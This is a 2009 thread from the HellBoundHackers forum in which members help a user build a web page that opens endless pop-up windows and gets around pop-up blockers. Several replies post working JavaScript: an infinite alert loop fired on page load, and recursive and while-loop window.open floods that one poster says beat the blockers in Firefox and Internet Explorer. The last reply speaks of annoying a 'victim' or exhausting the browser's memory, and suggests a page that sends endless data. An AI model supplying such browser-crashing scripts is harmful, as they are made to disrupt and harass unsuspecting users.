Follow us on Twitter!
Few are those who can see with their own eyes and hear with their own hearts. - Albert Einstein
Wednesday, April 16, 2014
Navigation
Home
HellBoundHackers Main:
HellBoundHackers Find:
HellBoundHackers Information:
Learn
Communicate
Submit
Shop
Challenges
HellBoundHackers Exploit:
HellBoundHackers Programming:
HellBoundHackers Think:
HellBoundHackers Track:
HellBoundHackers Patch:
HellBoundHackers Other:
HellBoundHackers Need Help?
Other
Members Online
Total Online: 16
Guests Online: 14
Members Online: 2

Registered Members: 82808
Newest Member: Krish
Latest Articles
View Thread

HellBound Hackers | Computer General | Web hacking

Author

basic js


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 27-09-09 09:03
Hi, I'm trying to set up a script that creates a simple button, when clicked, open an infinite amount of pop-up windows

Code

<html>
<head>
<script type="text/javascript">
function timedDeath()
{
 window.open('','mywindow','height=800, width=1280');
 var t = setTimeout("timedDeath()", 10);
}
</script>

 <body>
  <FORM>
   <INPUT type="button" value="Click Here!" onClick="timedDeath()" onblur>
  </FORM>
 </body>
</html>





although successful, it gets blocked by a pop-up blocker. After some readings, I found out that functions called by the script, not the user itself through clicking and such, gets blocked by pop-up blocker. So, I try to change this line

Code

 var t = setTimeout("timedDeath()", 10);





to

Code

 var t = setTimeout("window.open()", 1000);





but the browser simply hangs although I ask it to wait before executing that function.. Any suggestion? Thanks


Author

RE: basic js


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 27-09-09 10:07
didnt hang my browser but still gets gets blocked by the popup blocker.




Author

RE: basic js


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 28-09-09 02:24
Try something other than a button. Put an "onload" event handler in the body of the document. If you are simply trying to get the browser to close down why not use the "alert-box-of-doom"?

Ex:
Code
<html>
<head>
<script type="text/javascript">
function alertOfDoom() {
  while(1) {
    alert("Whatever nonsense to display");
  }
}
</script>
</head>
<body onload="alertOfDoom()">
...
</body>
</html>





I would also suggest taking out the "onblur" event handler in your button tag code since it doesn't appear to have any kind of event tied to it.




Edited by on 28-09-09 03:48
Author

RE: basic js


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 28-09-09 06:11
If you are simply trying to get the browser to close down why not use the "alert-box-of-doom


I already know on how to open infinite amount of pop-up boxes, but I'm still not sure on how to do so for opening window.

ups, sorry, not
Code
var t = setTimeout("window.open()", 1000);




but

Code
var t = while(1){setTimeout("window.open()", 1000);}






Author

RE: basic js


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 28-09-09 17:10
Perhaps this is more what you're looking for:
Code

<html>
<head>
<script type="text/javascript">
function timedDeath()
{
  window.open('','','height=800, width=1280');
  while(1) {
    timedDeath();
  }
}
</script>

<body>
<FORM>
<INPUT type="button" value="Click Here!" onclick="timedDeath()">
</FORM>
</body>
</html>




My pop-up blocker failed to stop the onslaught after clicking the button for both Firefox and Internet Explorer.


Author

RE: basic js

ynori7
Member



Posts: 1486
Location: #valhalla
Joined: 08.10.07
Rank:
God
Posted on 29-09-09 01:58
Code

<html>
<head>
<script type="text/javascript">
function timedDeath()
{
  window.open('','','height=800, width=1280');
  while(1) {
    timedDeath();
  }
}
</script>

<body>
<FORM>
<INPUT type="button" value="Click Here!" onclick="timedDeath()">
</FORM>
</body>
</html>




Recursion is slow. You might get better results if you just do it in a while loop like this:
Code
while(1)
{
  window.open('','','height=800, width=1280');
}





halls-of-valhalla.org/images/affiliateLogo.png voodoorage.halls-of-valhalla.org/images/smallLogo.png
i537.photobucket.com/albums/ff338/ynori77/archenemysig1.jpg
ynori7 http://halls-of-valhalla.org
Author

RE: basic js


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 29-09-09 20:28
What exactly is the result you're looking for? Do you want the browser to exhaust memory and close? Or do you just want the victim to be annoyed by the barrage of pop-ups? If it's the first case I would suggest a different tactic other than using javascript, since the user can disable it. Perhaps have the button take the user to a page that sends infinite information.
I can't even tell you how many times I crashed my browser due to improperly coded loops when I was learning to program PHP.